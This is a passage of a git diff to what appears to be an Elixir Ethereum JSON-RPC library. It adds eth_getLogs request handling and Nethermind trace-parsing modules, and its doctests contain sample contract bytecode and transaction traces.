transaction_hash: transaction_hash, + transaction_index: log["transactionIndex"] } |> put_topics(topics) - |> put_type(elixir) end @doc """ @@ -118,8 +116,7 @@ defmodule EthereumJSONRPC.Log do ...> "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], ...> "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", ...> "transactionIndex" => "0x0", - ...> "transactionLogIndex" => "0x0", - ...> "type" => "mined" + ...> "transactionLogIndex" => "0x0" ...> } ...> ) %{ @@ -131,11 +128,10 @@ defmodule EthereumJSONRPC.Log do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => 0, - "transactionLogIndex" => 0, - "type" => "mined" + "transactionLogIndex" => 0 } - Geth and Parity >= 1.11.4 includes a `"removed"` key + Geth includes a `"removed"` key iex> EthereumJSONRPC.Log.to_elixir( ...> %{ @@ -172,7 +168,7 @@ defmodule EthereumJSONRPC.Log do end defp entry_to_elixir({key, _} = entry) - when key in ~w(address blockHash data removed topics transactionHash type timestamp), + when key in ~w(address blockHash data removed topics transactionHash timestamp), do: entry defp entry_to_elixir({key, quantity}) when key in ~w(blockNumber logIndex transactionIndex transactionLogIndex) do @@ -183,6 +179,10 @@ defmodule EthereumJSONRPC.Log do end end + defp entry_to_elixir(_) do + {:ignore, :ignore} + end + defp put_topics(params, topics) when is_map(params) and is_list(topics) do params |> Map.put(:first_topic, Enum.at(topics, 0)) @@ -190,10 +190,4 @@ defmodule EthereumJSONRPC.Log do |> Map.put(:third_topic, Enum.at(topics, 2)) |> Map.put(:fourth_topic, Enum.at(topics, 3)) end - - defp put_type(params, %{"type" => type}) do - Map.put(params, :type, type) - end - - defp put_type(params, _), do: params end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/logs.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/logs.ex index 7c4720f79b71..de6b81dbf367 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/logs.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/logs.ex @@ -1,10 +1,16 @@ defmodule EthereumJSONRPC.Logs do @moduledoc """ Collection of logs included in return from - [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionreceipt). + [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionreceipt). """ - alias EthereumJSONRPC.Log + import EthereumJSONRPC, + only: [ + integer_to_quantity: 1, + put_if_present: 3 + ] + + alias EthereumJSONRPC.{Log, Transport} @type elixir :: [Log.elixir()] @type t :: [Log.t()] @@ -18,4 +24,102 @@ defmodule EthereumJSONRPC.Logs do def to_elixir(logs) when is_list(logs) do Enum.map(logs, &Log.to_elixir/1) end + + @spec request( + id :: integer(), + params :: + %{ + :from_block => EthereumJSONRPC.tag() | EthereumJSONRPC.block_number(), + :to_block => EthereumJSONRPC.tag() | EthereumJSONRPC.block_number(), + optional(:topics) => list(EthereumJSONRPC.hash()), + optional(:address) => EthereumJSONRPC.address() + } + | %{ + :block_hash => EthereumJSONRPC.hash(), + optional(:topics) => list(EthereumJSONRPC.hash()), + optional(:address) => EthereumJSONRPC.address() + } + ) :: Transport.request() + def request(id, params) when is_integer(id) do + EthereumJSONRPC.request(%{ + id: id, + method: "eth_getLogs", + params: [to_request_params(params)] + }) + end + + defp to_request_params( + %{ + from_block: from_block, + to_block: to_block + } = params + ) do + %{ + fromBlock: block_number_to_quantity_or_tag(from_block), + toBlock: block_number_to_quantity_or_tag(to_block) + } + |> maybe_add_topics_and_address(params) + end + + defp to_request_params(%{block_hash: block_hash} = params) + when is_binary(block_hash) do + %{ + blockHash: block_hash + } + |> maybe_add_topics_and_address(params) + end + + defp maybe_add_topics_and_address(request_params, params) do + put_if_present(request_params, params, [ + {:topics, :topics}, + {:address, :address} + ]) + end + + defp block_number_to_quantity_or_tag(block_number) when is_integer(block_number) do + integer_to_quantity(block_number) + end + + defp block_number_to_quantity_or_tag(tag) when tag in ~w(earliest latest pending safe) do + tag + end + + def from_responses(responses) when is_list(responses) do + responses + |> reduce_responses() + |> case do + {:ok, logs} -> + { + :ok, + logs + |> to_elixir() + |> elixir_to_params() + } + + {:error, reasons} -> + {:error, reasons} + end + end + + defp reduce_responses(responses) do + responses + |> Enum.reduce( + {:ok, []}, + fn + %{result: result}, {:ok, logs} + when is_list(result) -> + {:ok, result ++ logs} + + %{result: _}, {:error, _} = error -> + error + + %{error: reason}, {:ok, _} -> + {:error, [reason]} + + %{error: reason}, {:error, reasons} + when is_list(reasons) -> + {:error, [reason | reasons]} + end + ) + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind.ex new file mode 100644 index 000000000000..5f9118670951 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind.ex @@ -0,0 +1,70 @@ +# credo:disable-for-this-file +defmodule EthereumJSONRPC.Nethermind do + @moduledoc """ + Ethereum JSONRPC methods that are only supported by Nethermind. + """ + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2] + + alias EthereumJSONRPC.Nethermind.Traces + alias EthereumJSONRPC.{FetchedBeneficiaries, PendingTransaction, TraceReplayBlockTransactions, Transaction} + + @behaviour EthereumJSONRPC.Variant + + @impl EthereumJSONRPC.Variant + def fetch_beneficiaries(block_numbers, json_rpc_named_arguments) + when is_list(block_numbers) and is_list(json_rpc_named_arguments) do + id_to_params = + block_numbers + |> block_numbers_to_params_list() + |> id_to_params() + + with {:ok, responses} <- + id_to_params + |> FetchedBeneficiaries.requests() + |> json_rpc(json_rpc_named_arguments) do + {:ok, FetchedBeneficiaries.from_responses(responses, id_to_params)} + end + end + + @impl EthereumJSONRPC.Variant + def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore + + @doc """ + Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the Nethermind trace URL. + """ + @impl EthereumJSONRPC.Variant + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do + TraceReplayBlockTransactions.fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, Traces) + end + + @impl EthereumJSONRPC.Variant + def fetch_first_trace(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do + TraceReplayBlockTransactions.fetch_first_trace(transactions_params, json_rpc_named_arguments, Traces) + end + + @doc """ + Fetches the pending transactions from the Nethermind node. + + *NOTE*: The pending transactions are local to the node that is contacted and may not be consistent across nodes based + on the transactions that each node has seen and how each node prioritizes collating transactions into the next block. + """ + @impl EthereumJSONRPC.Variant + @spec fetch_pending_transactions(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, [Transaction.params()]} | {:error, reason :: term} + def fetch_pending_transactions(json_rpc_named_arguments) do + if Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.PendingTransaction)[:type] == "geth" do + PendingTransaction.fetch_pending_transactions_geth(json_rpc_named_arguments) + else + PendingTransaction.fetch_pending_transactions_parity(json_rpc_named_arguments) + end + end + + @impl EthereumJSONRPC.Variant + def fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) do + TraceReplayBlockTransactions.fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) + end + + defp block_numbers_to_params_list(block_numbers) when is_list(block_numbers) do + Enum.map(block_numbers, &%{block_quantity: integer_to_quantity(&1)}) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace.ex new file mode 100644 index 000000000000..17b781224ccd --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace.ex @@ -0,0 +1,487 @@ +defmodule EthereumJSONRPC.Nethermind.Trace do + @moduledoc """ + Trace returned by + [`trace_replayTransaction`](https://openethereum.github.io/JSONRPC-trace-module#trace_replaytransaction). + """ + + import EthereumJSONRPC, only: [put_if_present: 3] + alias EthereumJSONRPC.Nethermind.Trace.{Action, Result} + + @doc """ + Create type traces are generated when a contract is created. + + iex> EthereumJSONRPC.Nethermind.Trace.elixir_to_params( + ...> %{ + ...> "action" => %{ + ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + ...> "gas" => 4597044, + ...> "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "value" => 0 + ...> }, + ...> "blockNumber" => 34, + ...> "index" => 0, + ...> "result" => %{ + ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", + ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "gasUsed" => 166651 + ...> }, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + ...> "type" => "create", + ...> "transactionIndex" => 0 + ...> } + ...> ) + %{ + block_number: 34, + created_contract_address_hash: "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", + created_contract_code: "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + gas: 4597044, + gas_used: 166651, + index: 0, + init: "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + trace_address: [], + transaction_hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + type: "create", + value: 0, + transaction_index: 0 + } + + A create can fail due to a Bad Instruction in the `init` that is meant to form the `code` of the contract + + iex> EthereumJSONRPC.Nethermind.Trace.elixir_to_params( + ...> %{ + ...> "action" => %{ + ...> "from" => "0x78a42d3705fb3c26a4b54737a784bf064f0815fb", + ...> "gas" => 3946728, + ...> "init" => "0x4bb278f3", + ...> "value" => 0 + ...> }, + ...> "blockNumber" => 35, + ...> "error" => "Bad instruction", + ...> "index" => 0, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionHash" => "0x3c624bb4852fb5e35a8f45644cec7a486211f6ba89034768a2b763194f22f97d", + ...> "type" => "create", + ...> "transactionIndex" => 0 + ...> } + ...> ) + %{ + block_number: 35, + error: "Bad instruction", + from_address_hash: "0x78a42d3705fb3c26a4b54737a784bf064f0815fb", + gas: 3946728, + index: 0, + init: "0x4bb278f3", + trace_address: [], + transaction_hash: "0x3c624bb4852fb5e35a8f45644cec7a486211f6ba89034768a2b763194f22f97d", + type: "create", + value: 0, + transaction_index: 0 + } + + Call type traces are generated when a method is called. Calls are further divided by call type. + + iex> EthereumJSONRPC.Nethermind.Trace.elixir_to_params( + ...> %{ + ...> "action" => %{ + ...> "callType" => "call", + ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + ...> "to" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + ...> "gas" => 4677320, + ...> "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + ...> "value" => 0 + ...> }, + ...> "blockNumber" => 35, + ...> "transactionIndex" => 0, + ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + ...> "index" => 0, + ...> "traceAddress" => [], + ...> "type" => "call", + ...> "result" => %{ + ...> "gasUsed" => 27770, + ...> "output" => "0x" + ...> }, + ...> "subtraces" => 0 + ...> } + ...> ) + %{ + block_number: 35, + transaction_index: 0, + transaction_hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + index: 0, + trace_address: [], + type: "call", + call_type: "call", + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + gas: 4677320, + gas_used: 27770, + input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + output: "0x", + value: 0 + } + + Calls can error and be reverted + + iex> EthereumJSONRPC.Nethermind.Trace.elixir_to_params( + ...> %{ + ...> "action" => %{ + ...> "callType" => "call", + ...> "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", + ...> "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", + ...> "gas" => 7578728, + ...> "input" => "0xa6f2ae3a", + ...> "value" => 10000000000000000 + ...> }, + ...> "blockNumber" => 35, + ...> "transactionIndex" => 0, + ...> "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", + ...> "index" => 0, + ...> "traceAddress" => [], + ...> "type" => "call", + ...> "error" => "Reverted", + ...> "subtraces" => 7, + ...> } + ...> ) + %{ + block_number: 35, + transaction_index: 0, + transaction_hash: "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", + index: 0, + trace_address: [], + type: "call", + call_type: "call", + from_address_hash: "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", + to_address_hash: "0xfdca0da4158740a93693441b35809b5bb463e527", + input: "0xa6f2ae3a", + error: "Reverted", + gas: 7578728, + value: 10000000000000000 + } + + Self-destruct transfer a `"balance"` from `"address"` to `"refundAddress"`. These self-destruct-unique fields can be + mapped to pre-existing `t:Explorer.Chain.InternalTransaction.t/0` fields. + + | Elixir | Params | + |-------------------|----------------------| + | `"address"` | `:from_address_hash` | + | `"balance"` | `:value` | + | `"refundAddress"` | `:to_address_hash` | + + iex> EthereumJSONRPC.Nethermind.Trace.elixir_to_params( + ...> %{ + ...> "action" => %{ + ...> "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", + ...> "balance" => 0, + ...> "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" + ...> }, + ...> "blockNumber" => 35, + ...> "index" => 1, + ...> "result" => nil, + ...> "subtraces" => 0, + ...> "traceAddress" => [0], + ...> "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", + ...> "type" => "suicide", + ...> "transactionIndex" => 0 + ...> } + ...> ) + %{ + block_number: 35, + from_address_hash: "0xa7542d78b9a0be6147536887e0065f16182d294b", + index: 1, + to_address_hash: "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5", + trace_address: [0], + transaction_hash: "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", + type: "selfdestruct", + value: 0, + transaction_index: 0 + } + + """ + + def elixir_to_params(%{"type" => "call" = type} = elixir) do + %{ + "action" => %{ + "callType" => call_type, + "to" => to_address_hash, + "from" => from_address_hash, + "input" => input, + "gas" => gas, + "value" => value + }, + "blockNumber" => block_number, + "transactionIndex" => transaction_index, + "transactionHash" => transaction_hash, + "index" => index, + "traceAddress" => trace_address + } = elixir + + %{ + block_number: block_number, + transaction_hash: transaction_hash, + transaction_index: transaction_index, + index: index, + trace_address: trace_address, + type: type, + call_type: call_type, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + gas: gas, + input: input, + value: value + } + |> put_if_present(elixir, [ + {"error", :error} + ]) + |> put_if_present(elixir |> Map.get("result", %{}), [ + {"gasUsed", :gas_used}, + {"output", :output} + ]) + end + + def elixir_to_params(%{"type" => "create" = type} = elixir) do + %{ + "action" => %{"from" => from_address_hash, "gas" => gas, "init" => init, "value" => value}, + "blockNumber" => block_number, + "index" => index, + "traceAddress" => trace_address, + "transactionHash" => transaction_hash, + "transactionIndex" => transaction_index + } = elixir + + %{ + block_number: block_number, + from_address_hash: from_address_hash, + gas: gas, + index: index, + init: init, + trace_address: trace_address, + transaction_hash: transaction_hash, + type: type, + value: value, + transaction_index: transaction_index + } + |> put_if_present(elixir, [ + {"error", :error} + ]) + |> put_if_present(elixir |> Map.get("result", %{}), [ + {"gasUsed", :gas_used}, + {"code", :created_contract_code}, + {"address", :created_contract_address_hash} + ]) + end + + def elixir_to_params(%{"type" => "suicide"} = elixir) do + %{ + "action" => %{ + "address" => from_address_hash, + "balance" => value, + "refundAddress" => to_address_hash + }, + "blockNumber" => block_number, + "index" => index, + "traceAddress" => trace_address, + "transactionHash" => transaction_hash, + "transactionIndex" => transaction_index + } = elixir + + %{ + block_number: block_number, + from_address_hash: from_address_hash, + index: index, + to_address_hash: to_address_hash, + trace_address: trace_address, + transaction_hash: transaction_hash, + type: "selfdestruct", + value: value, + transaction_index: transaction_index + } + end + + @doc """ + Decodes the stringly typed numerical fields to `t:non_neg_integer/0`. + + iex> EthereumJSONRPC.Nethermind.Trace.to_elixir( + ...> %{ + ...> "action" => %{ + ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + ...> "gas" => "0x462534", + ...> "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "value" => "0x0" + ...> }, + ...> "blockNumber" => 1, + ...> "index" => 0, + ...> "result" => %{ + ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", + ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "gasUsed" => "0x28afb" + ...> }, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + ...> "transactionIndex" => 0, + ...> "type" => "create" + ...> } + ...> ) + %{ + "action" => %{ + "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + "gas" => 4597044, + "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + "value" => 0 + }, + "blockNumber" => 1, + "index" => 0, + "result" => %{ + "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", + "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + "gasUsed" => 166651 + }, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + "transactionIndex" => 0, + "type" => "create" + } + + The caller must put `"blockNumber"`, `"index"`, and `"transactionHash"` into the incoming map, as Nethermind itself does + not include that information, but it is needed to locate the trace in history and update addresses fully. + + iex> EthereumJSONRPC.Nethermind.Trace.to_elixir( + ...> %{ + ...> "action" => %{ + ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + ...> "gas" => "0x462534", + ...> "init" => 